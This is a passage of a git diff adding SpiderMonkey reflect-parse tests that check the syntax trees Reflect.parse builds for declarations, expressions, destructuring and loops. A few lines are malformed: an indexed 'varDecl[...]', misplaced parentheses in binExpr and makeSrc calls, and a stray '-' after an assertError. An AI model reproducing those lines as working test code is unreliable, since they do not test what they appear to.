5}"); +Pattern({ body: [ { expression: { right: { properties: [ {key: { loc: + { start: { line: 1, column: 5 }, end: { line: 1, column: 13 }}}}]}}}]}).match(node); + +// Bug 1048384 - Getter/setter syntax with computed names +assertExpr("b = { get [meth]() { } }", aExpr("=", ident("b"), + objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [], blockStmt([])), + method: false, kind: "get"}]))); +assertExpr("b = { set [meth](a) { } }", aExpr("=", ident("b"), + objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [ident("a")], + blockStmt([])), method: false, kind: "set"}]))); + +// Bug 1220702 - If it's not written as a method, `.method` should be false. +assertExpr("({[x]: function () {}})", + objExpr([{ + key: computedName(ident("x")), + value: funExpr(null, [], blockStmt([])), + method: false, + kind: "init" + }])); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/declarations.js b/js/src/tests/js1_8_5/reflect-parse/declarations.js new file mode 100644 index 000000000..785ba0090 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/declarations.js @@ -0,0 +1,97 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Bug 632056: constant-folding +program([exprStmt(ident("f")), + ifStmt(lit(1), + blockStmt([funDecl(ident("f"), [], blockStmt([]))]), + null)]).assert(Reflect.parse("f; if (1) function f(){}")); +// declarations + +assertDecl("var x = 1, y = 2, z = 3", + varDecl([{ id: ident("x"), init: lit(1) }, + { id: ident("y"), init: lit(2) }, + { id: ident("z"), init: lit(3) }])); +assertDecl("var x, y, z", + varDecl([{ id: ident("x"), init: null }, + { id: ident("y"), init: null }, + { id: ident("z"), init: null }])); +assertDecl("function foo() { }", + funDecl(ident("foo"), [], blockStmt([]))); +assertDecl("function foo() { return 42 }", + funDecl(ident("foo"), [], blockStmt([returnStmt(lit(42))]))); + +assertDecl("function foo(...rest) { }", + funDecl(ident("foo"), [], blockStmt([]), [], ident("rest"))); + +assertDecl("function foo(a=4) { }", funDecl(ident("foo"), [ident("a")], blockStmt([]), [lit(4)])); +assertDecl("function foo(a, b=4) { }", funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4)])); +assertDecl("function foo(a, b=4, ...rest) { }", + funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4), null], ident("rest"))); +assertDecl("function foo(a=(function () {})) { function a() {} }", + funDecl(ident("foo"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))]), + [funExpr(null, [], blockStmt([]))])); + +// Bug 1018628: default paremeter for destructuring +assertDecl("function f(a=1, [x,y]=[2,3]) { }", + funDecl(ident("f"), + [ident("a"), arrPatt([ident("x"), ident("y")])], + blockStmt([]), + [lit(1), arrExpr([lit(2), lit(3)])])); + +// Bug 591437: rebound args have their defs turned into uses +assertDecl("function f(a) { function a() { } }", + funDecl(ident("f"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))]))); +assertDecl("function f(a,b,c) { function b() { } }", + funDecl(ident("f"), [ident("a"),ident("b"),ident("c")], blockStmt([funDecl(ident("b"), [], blockStmt([]))]))); +assertDecl("function f(a,[x,y]) { function a() { } }", + funDecl(ident("f"), + [ident("a"), arrPatt([assignElem("x"), assignElem("y")])], + blockStmt([funDecl(ident("a"), [], blockStmt([]))]))); + +// Bug 591450: this test currently crashes because of a bug in jsparse +// assertDecl("function f(a,[x,y],b,[w,z],c) { function b() { } }", +// funDecl(ident("f"), +// [ident("a"), arrPatt([ident("x"), ident("y")]), ident("b"), arrPatt([ident("w"), ident("z")]), ident("c")], +// blockStmt([funDecl(ident("b"), [], blockStmt([]))]))); + +// redeclarations (TOK_NAME nodes with lexdef) + +assertStmt("function f() { function g() { } function g() { } }", + funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])), + funDecl(ident("g"), [], blockStmt([]))]))); + +// Fails due to parser quirks (bug 638577) +//assertStmt("function f() { function g() { } function g() { return 42 } }", +// funDecl(ident("f"), [], blockStmt([funDecl(ident("g"), [], blockStmt([])), +// funDecl(ident("g"), [], blockStmt([returnStmt(lit(42))]))]))); + +assertStmt("function f() { var x = 42; var x = 43; }", + funDecl(ident("f"), [], blockStmt([varDecl([{ id: ident("x"), init: lit(42) }]), + varDecl([{ id: ident("x"), init: lit(43) }])]))); + + +assertDecl("var {x:y} = foo;", varDecl([{ id: objPatt([assignProp("x", ident("y"))]), + init: ident("foo") }])); +assertDecl("var {x} = foo;", varDecl([{ id: objPatt([assignProp("x")]), + init: ident("foo") }])); + +// Bug 632030: redeclarations between var and funargs, var and function +assertStmt("function g(x) { var x }", + funDecl(ident("g"), [ident("x")], blockStmt([varDecl[{ id: ident("x"), init: null }]]))); +assertProg("f.p = 1; var f; f.p; function f(){}", + [exprStmt(aExpr("=", dotExpr(ident("f"), ident("p")), lit(1))), + varDecl([{ id: ident("f"), init: null }]), + exprStmt(dotExpr(ident("f"), ident("p"))), + funDecl(ident("f"), [], blockStmt([]))]); +} + +assertBlockStmt("{ function f(x) {} }", + blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))])); + +// Annex B semantics should not change parse tree. +assertBlockStmt("{ let f; { function f(x) {} } }", + blockStmt([letDecl([{ id: ident("f"), init: null }]), + blockStmt([funDecl(ident("f"), [ident("x")], blockStmt([]))])])); + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js new file mode 100644 index 000000000..8005ecc5c --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-array-holes-reflect-as-null.js @@ -0,0 +1,9 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Bug 632027: array holes should reflect as null +assertExpr("[,]=[,]", aExpr("=", arrPatt([null]), arrExpr([null]))); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js new file mode 100644 index 000000000..cba4197ee --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-assignment.js @@ -0,0 +1,32 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// destructuring assignment + +function testAssignmentCombinations(makePattSrc, makePattPatt) { + var pattSrcs = makePatternCombinations(n => ("x" + n + " = 0"), makePattSrc); + var pattPatts = makePatternCombinations(n => (aExpr("=", ident("x" + n), lit(0))), makePattPatt); + + for (var i = 0; i < pattSrcs.length; i++) { + var src = pattSrcs[i].join(","); + var patt = pattPatts[i].length === 1 ? pattPatts[i][0] : seqExpr(pattPatts[i]); + + // assignment expression statement + assertExpr("(" + src + ")", patt); + + // for-loop head assignment + assertStmt("for (" + src + "; foo; bar);", + forStmt(patt, ident("foo"), ident("bar"), emptyStmt)); + } +} + +testAssignmentCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"), + n => (aExpr("=", + objPatt([assignProp("a" + n, ident("x" + n)), + assignProp("b" + n, ident("y" + n)), + assignProp("c" + n, ident("z" + n))]), + lit(0)))); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js new file mode 100644 index 000000000..ff53018d2 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-function-parameters.js @@ -0,0 +1,54 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +var JS_HAS_EXPR_CLOSURES = true; + +function testParamPatternCombinations(makePattSrc, makePattPatt) { + var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc); + var pattPatts = makePatternCombinations(n => (ident("x" + n)), makePattPatt); + + for (var i = 0; i < pattSrcs.length; i++) { + function makeSrc(body) { + return "(function(" + pattSrcs[i].join(",") + ") " + body + ")"; + } + function makePatt(body) { + return funExpr(null, pattPatts[i], body); + } + + // no upvars, block body + assertExpr(makeSrc("{ }", makePatt(blockStmt([])))); + // upvars, block body + assertExpr(makeSrc("{ return [x1,x2,x3,x4,x5]; }"), + makePatt(blockStmt([returnStmt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")]))]))); + if (JS_HAS_EXPR_CLOSURES) { + // no upvars, expression body + assertExpr(makeSrc("(0)"), makePatt(lit(0))); + // upvars, expression body + assertExpr(makeSrc("[x1,x2,x3,x4,x5]"), + makePatt(arrExpr([ident("x1"), ident("x2"), ident("x3"), ident("x4"), ident("x5")]))); + } + } +} + +testParamPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "}"), + n => (objPatt([assignProp("a" + n, ident("x" + n)), + assignProp("b" + n, ident("y" + n)), + assignProp("c" + n, ident("z" + n))]))); + +testParamPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10}"), + n => (objPatt([assignProp("a" + n, ident("x" + n), lit(10)), + assignProp("b" + n, ident("y" + n), lit(10)), + assignProp("c" + n, ident("z" + n), lit(10))]))); + +testParamPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "]"), + n => (arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)]))); + +testParamPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "]"), + n => (arrPatt([assignElem("a" + n), spread(ident("b" + n))]))); + +testParamPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10]"), + n => (arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))]))); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js b/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js new file mode 100644 index 000000000..4df8682cb --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/destructuring-variable-declarations.js @@ -0,0 +1,58 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +function testVarPatternCombinations(makePattSrc, makePattPatt) { + var pattSrcs = makePatternCombinations(n => ("x" + n), makePattSrc); + var pattPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: null }), makePattPatt); + // It's illegal to have uninitialized const declarations, so we need a + // separate set of patterns and sources. + var constSrcs = makePatternCombinations(n => ("x" + n + " = undefined"), makePattSrc); + var constPatts = makePatternCombinations(n => ({ id: ident("x" + n), init: ident("undefined") }), makePattPatt); + + for (var i = 0; i < pattSrcs.length; i++) { + // variable declarations in blocks + assertDecl("var " + pattSrcs[i].join(",") + ";", varDecl(pattPatts[i])); + + assertGlobalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i])); + assertLocalDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i])); + assertBlockDecl("let " + pattSrcs[i].join(",") + ";", letDecl(pattPatts[i])); + + assertDecl("const " + constSrcs[i].join(",") + ";", constDecl(constPatts[i])); + + // variable declarations in for-loop heads + assertStmt("for (var " + pattSrcs[i].join(",") + "; foo; bar);", + forStmt(varDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt)); + assertStmt("for (let " + pattSrcs[i].join(",") + "; foo; bar);", + forStmt(letDecl(pattPatts[i]), ident("foo"), ident("bar"), emptyStmt)); + assertStmt("for (const " + constSrcs[i].join(",") + "; foo; bar);", + forStmt(constDecl(constPatts[i]), ident("foo"), ident("bar"), emptyStmt)); + } +} + +testVarPatternCombinations(n => ("{a" + n + ":x" + n + "," + "b" + n + ":y" + n + "," + "c" + n + ":z" + n + "} = 0"), + n => ({ id: objPatt([assignProp("a" + n, ident("x" + n)), + assignProp("b" + n, ident("y" + n)), + assignProp("c" + n, ident("z" + n))]), + init: lit(0) })); + +testVarPatternCombinations(n => ("{a" + n + ":x" + n + " = 10," + "b" + n + ":y" + n + " = 10," + "c" + n + ":z" + n + " = 10} = 0"), + n => ({ id: objPatt([assignProp("a" + n, ident("x" + n), lit(10)), + assignProp("b" + n, ident("y" + n), lit(10)), + assignProp("c" + n, ident("z" + n), lit(10))]), + init: lit(0) })); + +testVarPatternCombinations(n => ("[x" + n + "," + "y" + n + "," + "z" + n + "] = 0"), + n => ({ id: arrPatt([assignElem("x" + n), assignElem("y" + n), assignElem("z" + n)]), + init: lit(0) })); + +testVarPatternCombinations(n => ("[a" + n + ", ..." + "b" + n + "] = 0"), + n => ({ id: arrPatt([assignElem("a" + n), spread(ident("b" + n))]), + init: lit(0) })); + +testVarPatternCombinations(n => ("[a" + n + ", " + "b" + n + " = 10] = 0"), + n => ({ id: arrPatt([assignElem("a" + n), assignElem("b" + n, lit(10))]), + init: lit(0) })); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js b/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js new file mode 100644 index 000000000..323890408 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/destructuring__proto__.js @@ -0,0 +1,16 @@ +// |reftest| skip-if(!xulRuntime.shell) +// |reftest| skip-if(!xulRuntime.shell) +// bug 963641 + +Reflect.parse("({ __proto__: null });"); +Reflect.parse("var { __proto__: x } = obj;"); +Reflect.parse("var [{ __proto__: y }] = obj;"); +Reflect.parse("[{ __proto__: y }] = arr;"); +Reflect.parse("({ __proto__: y } = obj);"); + +if (typeof reportCompare === "function") + reportCompare(true, true); + + + +print("Tests complete"); diff --git a/js/src/tests/js1_8_5/reflect-parse/expression.js b/js/src/tests/js1_8_5/reflect-parse/expression.js new file mode 100644 index 000000000..55d85a029 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/expression.js @@ -0,0 +1,155 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// primary expressions +assertExpr("true", lit(true)); +assertExpr("false", lit(false)); +assertExpr("42", lit(42)); +assertExpr("(/asdf/)", lit(/asdf/)); +assertExpr("this", thisExpr); +assertExpr("foo", ident("foo")); + +// member expressions +assertExpr("foo.bar", dotExpr(ident("foo"), ident("bar"))); +assertExpr("foo[bar]", memExpr(ident("foo"), ident("bar"))); +assertExpr("foo['bar']", memExpr(ident("foo"), lit("bar"))); +assertExpr("foo[42]", memExpr(ident("foo"), lit(42))); + +// function expressions +assertExpr("(function(){})", funExpr(null, [], blockStmt([]))); +assertExpr("(function f() {})", funExpr(ident("f"), [], blockStmt([]))); +assertExpr("(function f(x,y,z) {})", funExpr(ident("f"), [ident("x"),ident("y"),ident("z")], blockStmt([]))); +assertExpr("a => a", arrowExpr([ident("a")], ident("a"))); +assertExpr("(a) => a", arrowExpr([ident("a")], ident("a"))); +assertExpr("a => b => a", arrowExpr([ident("a")], arrowExpr([ident("b")], ident("a")))); +assertExpr("a => {}", arrowExpr([ident("a")], blockStmt([]))); +assertExpr("a => ({})", arrowExpr([ident("a")], objExpr([]))); +assertExpr("(a, b, c) => {}", arrowExpr([ident("a"), ident("b"), ident("c")], blockStmt([]))); +assertExpr("([a, b]) => {}", arrowExpr([arrPatt([assignElem("a"), assignElem("b")])], blockStmt([]))); + +// Unary expressions +assertExpr("(++x)", updExpr("++", ident("x"), true)); +assertExpr("(x++)", updExpr("++", ident("x"), false)); +assertExpr("(+x)", unExpr("+", ident("x"))); +assertExpr("(-x)", unExpr("-", ident("x"))); +assertExpr("(!x)", unExpr("!", ident("x"))); +assertExpr("(~x)", unExpr("~", ident("x"))); +assertExpr("(delete x)", unExpr("delete", ident("x"))); +assertExpr("(typeof x)", unExpr("typeof", ident("x"))); +assertExpr("(void x)", unExpr("void", ident("x"))); + +// Bug 632026: constant-folding +assertExpr("typeof(0?0:a)", unExpr("typeof", condExpr(lit(0), lit(0), ident("a")))); + +// Binary exporessions +assertExpr("(x == y)", binExpr("==", ident("x"), ident("y"))); +assertExpr("(x != y)", binExpr("!=", ident("x"), ident("y"))); +assertExpr("(x === y)", binExpr("===", ident("x"), ident("y"))); +assertExpr("(x !== y)", binExpr("!==", ident("x"), ident("y"))); +assertExpr("(x < y)", binExpr("<", ident("x"), ident("y"))); +assertExpr("(x <= y)", binExpr("<=", ident("x"), ident("y"))); +assertExpr("(x > y)", binExpr(">", ident("x"), ident("y"))); +assertExpr("(x >= y)", binExpr(">=", ident("x"), ident("y"))); +assertExpr("(x << y)", binExpr("<<", ident("x"), ident("y"))); +assertExpr("(x >> y)", binExpr(">>", ident("x"), ident("y"))); +assertExpr("(x >>> y)", binExpr(">>>", ident("x"), ident("y"))); +assertExpr("(x + y)", binExpr("+", ident("x"), ident("y"))); +assertExpr("(w + x + y + z)", binExpr("+", binExpr("+", binExpr("+", ident("w"), ident("x")), ident("y")), ident("z"))); +assertExpr("(x - y)", binExpr("-", ident("x"), ident("y"))); +assertExpr("(w - x - y - z)", binExpr("-", binExpr("-", binExpr("-", ident("w"), ident("x")), ident("y")), ident("z"))); +assertExpr("(x * y)", binExpr("*", ident("x"), ident("y"))); +assertExpr("(x / y)", binExpr("/", ident("x"), ident("y"))); +assertExpr("(x % y)", binExpr("%", ident("x"), ident("y"))); +assertExpr("(x | y)", binExpr("|", ident("x"), ident("y"))); +assertExpr("(x ^ y)", binExpr("^", ident("x"), ident("y"))); +assertExpr("(x & y)", binExpr("&", ident("x"), ident("y"))); +assertExpr("(x in y)", binExpr("in", ident("x"), ident("y"))); +assertExpr("(x instanceof y)", binExpr("instanceof", ident("x"), ident("y"))); + +// Bug 571617: eliminate constant-folding +assertExpr("2 + 3", binExpr("+", lit(2), lit(3))); + +// Assignment expressions +assertExpr("(x = y)", aExpr("=", ident("x"), ident("y"))); +assertExpr("(x += y)", aExpr("+=", ident("x"), ident("y"))); +assertExpr("(x -= y)", aExpr("-=", ident("x"), ident("y"))); +assertExpr("(x *= y)", aExpr("*=", ident("x"), ident("y"))); +assertExpr("(x /= y)", aExpr("/=", ident("x"), ident("y"))); +assertExpr("(x %= y)", aExpr("%=", ident("x"), ident("y"))); +assertExpr("(x <<= y)", aExpr("<<=", ident("x"), ident("y"))); +assertExpr("(x >>= y)", aExpr(">>=", ident("x"), ident("y"))); +assertExpr("(x >>>= y)", aExpr(">>>=", ident("x"), ident("y"))); +assertExpr("(x |= y)", aExpr("|=", ident("x"), ident("y"))); +assertExpr("(x ^= y)", aExpr("^=", ident("x"), ident("y"))); +assertExpr("(x &= y)", aExpr("&=", ident("x"), ident("y"))); + +// Conditional expressions +assertExpr("(x || y)", logExpr("||", ident("x"), ident("y"))); +assertExpr("(x && y)", logExpr("&&", ident("x"), ident("y"))); +assertExpr("(w || x || y || z)", logExpr("||", logExpr("||", logExpr("||", ident("w"), ident("x")), ident("y")), ident("z"))) +assertExpr("(x ? y : z)", condExpr(ident("x"), ident("y"), ident("z"))); + +// Sequence expressions +assertExpr("(x,y)", seqExpr([ident("x"),ident("y")])) +assertExpr("(x,y,z)", seqExpr([ident("x"),ident("y"),ident("z")])) +assertExpr("(a,b,c,d,e,f,g)", seqExpr([ident("a"),ident("b"),ident("c"),ident("d"),ident("e"),ident("f"),ident("g")])); + +// Call expressions +assertExpr("(new Object)", newExpr(ident("Object"), [])); +assertExpr("(new Object())", newExpr(ident("Object"), [])); +assertExpr("(new Object(42))", newExpr(ident("Object"), [lit(42)])); +assertExpr("(new Object(1,2,3))", newExpr(ident("Object"), [lit(1),lit(2),lit(3)])); +assertExpr("(String())", callExpr(ident("String"), [])); +assertExpr("(String(42))", callExpr(ident("String"), [lit(42)])); +assertExpr("(String(1,2,3))", callExpr(ident("String"), [lit(1),lit(2),lit(3)])); + +// Array expressions +assertExpr("[]", arrExpr([])); +assertExpr("[1]", arrExpr([lit(1)])); +assertExpr("[1,2]", arrExpr([lit(1),lit(2)])); +assertExpr("[1,2,3]", arrExpr([lit(1),lit(2),lit(3)])); +assertExpr("[1,,2,3]", arrExpr([lit(1),null,lit(2),lit(3)])); +assertExpr("[1,,,2,3]", arrExpr([lit(1),null,null,lit(2),lit(3)])); +assertExpr("[1,,,2,,3]", arrExpr([lit(1),null,null,lit(2),null,lit(3)])); +assertExpr("[1,,,2,,,3]", arrExpr([lit(1),null,null,lit(2),null,null,lit(3)])); +assertExpr("[,1,2,3]", arrExpr([null,lit(1),lit(2),lit(3)])); +assertExpr("[,,1,2,3]", arrExpr([null,null,lit(1),lit(2),lit(3)])); +assertExpr("[,,,1,2,3]", arrExpr([null,null,null,lit(1),lit(2),lit(3)])); +assertExpr("[,,,1,2,3,]", arrExpr([null,null,null,lit(1),lit(2),lit(3)])); +assertExpr("[,,,1,2,3,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null])); +assertExpr("[,,,1,2,3,,,]", arrExpr([null,null,null,lit(1),lit(2),lit(3),null,null])); +assertExpr("[,,,,,]", arrExpr([null,null,null,null,null])); +assertExpr("[1, ...a, 2]", arrExpr([lit(1), spread(ident("a")), lit(2)])); +assertExpr("[,, ...a,, ...b, 42]", arrExpr([null,null, spread(ident("a")),, spread(ident("b")), lit(42)])); +assertExpr("[1,(2,3)]", arrExpr([lit(1),seqExpr([lit(2),lit(3)])])); +assertExpr("[,(2,3)]", arrExpr([null,seqExpr([lit(2),lit(3)])])); + +// Object expressions +assertExpr("({})", objExpr([])); +assertExpr("({x:1})", objExpr([{ key: ident("x"), value: lit(1) }])); +assertExpr("({x:x, y})", objExpr([{ key: ident("x"), value: ident("x"), shorthand: false }, + { key: ident("y"), value: ident("y"), shorthand: true }])); +assertExpr("({x:1, y:2})", objExpr([{ key: ident("x"), value: lit(1) }, + { key: ident("y"), value: lit(2) } ])); +assertExpr("({x:1, y:2, z:3})", objExpr([{ key: ident("x"), value: lit(1) }, + { key: ident("y"), value: lit(2) }, + { key: ident("z"), value: lit(3) } ])); +assertExpr("({x:1, 'y':2, z:3})", objExpr([{ key: ident("x"), value: lit(1) }, + { key: lit("y"), value: lit(2) }, + { key: ident("z"), value: lit(3) } ])); +assertExpr("({'x':1, 'y':2, z:3})", objExpr([{ key: lit("x"), value: lit(1) }, + { key: lit("y"), value: lit(2) }, + { key: ident("z"), value: lit(3) } ])); +assertExpr("({'x':1, 'y':2, 3:3})", objExpr([{ key: lit("x"), value: lit(1) }, + { key: lit("y"), value: lit(2) }, + { key: lit(3), value: lit(3) } ])); +assertExpr("({__proto__:x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }])); +assertExpr("({'__proto__':x})", objExpr([{ type: "PrototypeMutation", value: ident("x") }])); +assertExpr("({['__proto__']:x})", objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("x") }])); +assertExpr("({['__proto__']:q, __proto__() {}, __proto__: null })", + objExpr([{ type: "Property", key: comp(lit("__proto__")), value: ident("q") }, + { type: "Property", key: ident("__proto__"), method: true }, + { type: "PrototypeMutation", value: lit(null) }])); +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js b/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js new file mode 100644 index 000000000..3f95a0d2a --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/expressionClosures.js @@ -0,0 +1,11 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// expression closures + +assertDecl("function inc(x) (x + 1)", funDecl(ident("inc"), [ident("x")], binExpr("+", ident("x"), lit(1)))); +assertExpr("(function(x) (x+1))", funExpr(null, [ident("x")], binExpr("+"), ident("x"), lit(1))); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js b/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js new file mode 100644 index 000000000..b04c8218c --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/for-loop-destructuring.js @@ -0,0 +1,63 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// destructuring in for-in and for-each-in loop heads + +var axbycz = objPatt([assignProp("a", ident("x")), + assignProp("b", ident("y")), + assignProp("c", ident("z"))]); +var xyz = arrPatt([assignElem("x"), assignElem("y"), assignElem("z")]); + +assertStmt("for (var {a:x,b:y,c:z} in foo);", forInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (let {a:x,b:y,c:z} in foo);", forInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for ({a:x,b:y,c:z} in foo);", forInStmt(axbycz, ident("foo"), emptyStmt)); +assertStmt("for (var [x,y,z] in foo);", forInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (let [x,y,z] in foo);", forInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for ([x,y,z] in foo);", forInStmt(xyz, ident("foo"), emptyStmt)); +assertStmt("for (var {a:x,b:y,c:z} of foo);", forOfStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (let {a:x,b:y,c:z} of foo);", forOfStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for ({a:x,b:y,c:z} of foo);", forOfStmt(axbycz, ident("foo"), emptyStmt)); +assertStmt("for (var [x,y,z] of foo);", forOfStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (let [x,y,z] of foo);", forOfStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for ([x,y,z] of foo);", forOfStmt(xyz, ident("foo"), emptyStmt)); +assertStmt("for each (var {a:x,b:y,c:z} in foo);", forEachInStmt(varDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each (let {a:x,b:y,c:z} in foo);", forEachInStmt(letDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each ({a:x,b:y,c:z} in foo);", forEachInStmt(axbycz, ident("foo"), emptyStmt)); +assertStmt("for each (var [x,y,z] in foo);", forEachInStmt(varDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each (let [x,y,z] in foo);", forEachInStmt(letDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each ([x,y,z] in foo);", forEachInStmt(xyz, ident("foo"), emptyStmt)); + +assertStmt("for (const x in foo);", + forInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (const {a:x,b:y,c:z} in foo);", + forInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (const [x,y,z] in foo);", + forInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); + +assertStmt("for (const x of foo);", + forOfStmt(constDecl([{id: ident("x"), init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (const {a:x,b:y,c:z} of foo);", + forOfStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for (const [x,y,z] of foo);", + forOfStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); + +assertStmt("for each (const x in foo);", + forEachInStmt(constDecl([{ id: ident("x"), init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each (const {a:x,b:y,c:z} in foo);", + forEachInStmt(constDecl([{ id: axbycz, init: null }]), ident("foo"), emptyStmt)); +assertStmt("for each (const [x,y,z] in foo);", + forEachInStmt(constDecl([{ id: xyz, init: null }]), ident("foo"), emptyStmt)); + +assertError("for (x = 22 in foo);", SyntaxError);- +assertError("for ({a:x,b:y,c:z} = 22 in foo);", SyntaxError); +assertError("for ([x,y,z] = 22 in foo);", SyntaxError); +assertError("for (const x = 22 in foo);", SyntaxError); +assertError("for (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError); +assertError("for (const [x,y,z] = 22 in foo);", SyntaxError); +assertError("for each (const x = 22 in foo);", SyntaxError); +assertError("for each (const {a:x,b:y,c:z} = 22 in foo);", SyntaxError); +assertError("for each (const [x,y,z] = 22 in foo);", SyntaxError); + +} + +runtest(test); diff --git a/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js b/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js new file mode 100644 index 000000000..e186c9ba8 --- /dev/null +++ b/js/src/tests/js1_8_5/reflect-parse/generatorExpressions.js @@ -0,0 +1,60 @@ +// |reftest| skip-if(!xulRuntime.shell) +function test() { + +// Translate legacy genexprs into less legacy genexprs and test them. +function assertFormerlyES6GenExpr(expr, body, blocks, filter) { + let match = expr.match(/^\((.*?) for (.*)\)$/); + assertEq(match !== null, true); + let expr2 = "(for " + match[2] + " " + match[1] + ")"; + assertExpr(expr2, genExpr(body, blocks, filter, "modern")); +} + +assertFormerlyES6GenExpr("( x for (x of foo))", + ident("x"), [compOfBlock(ident("x"), ident("foo"))], null); +assertFormerlyES6GenExpr("( [x,y] for (x of foo) for (y of bar))", + arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], null); +assertFormerlyES6GenExpr("( [x,y,z] for (x of foo) for (y of bar) for (z of baz))", + arrExpr([ident("x"), ident("y"), ident("z")]), + [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))], + null); + +assertFormerlyES6GenExpr("( x for (x of foo) if (p))", + ident("x"), [compOfBlock(ident("x"), ident("foo"))], ident("p")); +assertFormerlyES6GenExpr("( [x,y] for (x of foo) for (y of bar) if (p))", + arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], ident("p")); +assertFormerlyES6GenExpr("( [x,y,z] for (x of foo) for (y of bar) for (z of baz) if (p) )", + arrExpr([ident("x"), ident("y"), ident("z")]), + [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), 